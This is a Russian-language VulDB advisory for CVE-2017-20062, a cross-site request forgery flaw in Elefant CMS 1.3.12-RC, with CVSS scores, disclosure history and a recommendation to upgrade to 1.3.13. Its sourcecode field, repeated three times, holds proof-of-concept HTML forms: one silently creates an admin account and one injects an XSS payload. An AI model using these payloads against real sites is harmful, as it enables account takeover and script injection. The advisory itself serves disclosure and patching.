Elefant CMS 1.3.12-RC неизвестная уязвимость

Уязвимость, классифицированная как проблемные, была найдена в Elefant CMS 1.3.12-RC. Затронута неизвестная функция. Определение CWE для уязвимости следующее CWE-352. Консультацию можно прочитать на сайте seclists.org. Выявление этой уязвимости является CVE-2017-20062. Атака может быть инициирована удаленно. Технические подробности отсутствуют. Более того, существует эксплойт. Эксплойт был раскрыт общественности и может быть использован. Текущая цена за эксплойт может составлять около USD $0-$5k в настоящее время. Объявляется proof-of-concept. Эксплойт доступен по адресу seclists.org. Уязвимость обрабатывалась как непубличный эксплойт нулевого дня в течение как минимум 283 дней. Мы ожидаем, что 0-день стоил приблизительно $0-$5k. Обновление до версии 1.3.13 способно решить эту проблему. Рекомендуется обновить затронутый компонент.

Поле24.02.2017 15:4824.02.2017 15:4918.06.2022 16:19
vendorElefantElefantElefant
nameCMSCMSCMS
version1.3.12-RC1.3.12-RC1.3.12-RC
vendorinformdate146275200014627520001462752000
risk111
cvss2_vuldb_basescore5.15.15.1
cvss2_vuldb_tempscore3.83.83.8
cvss2_vuldb_avNNN
cvss2_vuldb_acHHH
cvss2_vuldb_auNNN
cvss2_vuldb_ciPPP
cvss2_vuldb_iiPPP
cvss2_vuldb_aiPPP
cvss2_researcher_avNNN
cvss2_researcher_acHHH
cvss2_researcher_auNNN
cvss2_researcher_ciPPP
cvss2_researcher_iiPPP
cvss2_researcher_aiPPP
cvss3_meta_basescore5.05.05.0
cvss3_meta_tempscore4.34.34.3
cvss3_vuldb_basescore5.05.05.0
cvss3_vuldb_tempscore4.34.34.3
cvss3_vuldb_avNNN
cvss3_vuldb_acHHH
cvss3_vuldb_prNNN
cvss3_vuldb_uiRRR
cvss3_vuldb_sUUU
cvss3_vuldb_cLLL
cvss3_vuldb_iLLL
cvss3_vuldb_aLLL
date1487203200 (16.02.2017)1487203200 (16.02.2017)1487203200 (16.02.2017)
locationFull-DisclosureFull-DisclosureFull-Disclosure
typeMailinglist PostMailinglist PostMailinglist Post
urlhttp://seclists.org/fulldisclosure/2017/Feb/37http://seclists.org/fulldisclosure/2017/Feb/37http://seclists.org/fulldisclosure/2017/Feb/37
identifierElefant CMS 1.3.12-RC: CSRFElefant CMS 1.3.12-RC: CSRFElefant CMS 1.3.12-RC: CSRF
person_nameTim CoenTim CoenTim Coen
company_nameCuresec Research TeamCuresec Research TeamCuresec Research Team
availability111
date1487203200 (16.02.2017)1487203200 (16.02.2017)1487203200 (16.02.2017)
publicity111
urlhttp://seclists.org/fulldisclosure/2017/Feb/37http://seclists.org/fulldisclosure/2017/Feb/37http://seclists.org/fulldisclosure/2017/Feb/37
developer_nameTim CoenTim CoenTim Coen
price_0day$0-$5k$0-$5k$0-$5k
sourcecode<html> <body> <form action="http://localhost/user/add"; method ="POST"> <input type="hidden" name="name" value="admin3" /> <input type= "hidden" name="email" value="admin3 () example com" /> <input type="hidden" name= "password" value="admin3" /> <input type="hidden" name="verify_pass" value= "admin3" /> <input type="hidden" name="type" value="admin" /> <input type= "hidden" name="company" value="" /> <input type="hidden" name="title" value="" /> <input type="hidden" name="website" value="" /> <input type="hidden" name= "photo" value="" /> <input type="hidden" name="about" value="" /> <input type= "hidden" name="phone" value="" /> <input type="hidden" name="fax" value="" /> <input type="hidden" name="address" value="" /> <input type="hidden" name= "address2" value="" /> <input type="hidden" name="city" value="" /> <input type ="hidden" name="state" value="" /> <input type="hidden" name="country" value="" /> <input type="hidden" name="zip" value="" /> <input type="submit" value= "Submit request" /> </form> </body> </html> XSS: <html> <body> <form action= "http://localhost/designer/preview"; method="POST"> <input type="hidden" name= "layout" value="<img src=no onerror=alert(1)>" /> <input type="submit" value= "Submit request" /> </form> </body> </html><html> <body> <form action="http://localhost/user/add"; method ="POST"> <input type="hidden" name="name" value="admin3" /> <input type= "hidden" name="email" value="admin3 () example com" /> <input type="hidden" name= "password" value="admin3" /> <input type="hidden" name="verify_pass" value= "admin3" /> <input type="hidden" name="type" value="admin" /> <input type= "hidden" name="company" value="" /> <input type="hidden" name="title" value="" /> <input type="hidden" name="website" value="" /> <input type="hidden" name= "photo" value="" /> <input type="hidden" name="about" value="" /> <input type= "hidden" name="phone" value="" /> <input type="hidden" name="fax" value="" /> <input type="hidden" name="address" value="" /> <input type="hidden" name= "address2" value="" /> <input type="hidden" name="city" value="" /> <input type ="hidden" name="state" value="" /> <input type="hidden" name="country" value="" /> <input type="hidden" name="zip" value="" /> <input type="submit" value= "Submit request" /> </form> </body> </html> XSS: <html> <body> <form action= "http://localhost/designer/preview"; method="POST"> <input type="hidden" name= "layout" value="<img src=no onerror=alert(1)>" /> <input type="submit" value= "Submit request" /> </form> </body> </html><html> <body> <form action="http://localhost/user/add"; method ="POST"> <input type="hidden" name="name" value="admin3" /> <input type= "hidden" name="email" value="admin3 () example com" /> <input type="hidden" name= "password" value="admin3" /> <input type="hidden" name="verify_pass" value= "admin3" /> <input type="hidden" name="type" value="admin" /> <input type= "hidden" name="company" value="" /> <input type="hidden" name="title" value="" /> <input type="hidden" name="website" value="" /> <input type="hidden" name= "photo" value="" /> <input type="hidden" name="about" value="" /> <input type= "hidden" name="phone" value="" /> <input type="hidden" name="fax" value="" /> <input type="hidden" name="address" value="" /> <input type="hidden" name= "address2" value="" /> <input type="hidden" name="city" value="" /> <input type ="hidden" name="state" value="" /> <input type="hidden" name="country" value="" /> <input type="hidden" name="zip" value="" /> <input type="submit" value= "Submit request" /> </form> </body> </html> XSS: <html> <body> <form action= "http://localhost/designer/preview"; method="POST"> <input type="hidden" name= "layout" value="<img src=no onerror=alert(1)>" /> <input type="submit" value= "Submit request" /> </form> </body> </html>
nameОбновлениеОбновлениеОбновление
upgrade_version1.3.131.3.131.3.13
seealso97260 97261 97255 97256 97257 9725897260 97261 97255 97256 97257 9725897260 97261 97255 97256 97257 97258
cvss2_vuldb_ePOCPOCPOC
cvss2_vuldb_rlOFOFOF
cvss2_vuldb_rcURURUR
cvss3_vuldb_ePPP
cvss3_vuldb_rlOOO
cvss3_vuldb_rcRRR
0day_days283283283
typeContent Management SystemContent Management System
cwe0352 (подделка межсайтовых запросов)352 (подделка межсайтовых запросов)
cveCVE-2017-20062
responsibleVulDB
cvss2_researcher_basescore5.1

◂ ПредыдущийОбзорДалее ▸

Want to stay up to date on a daily basis?

Enable the mail alert feature now!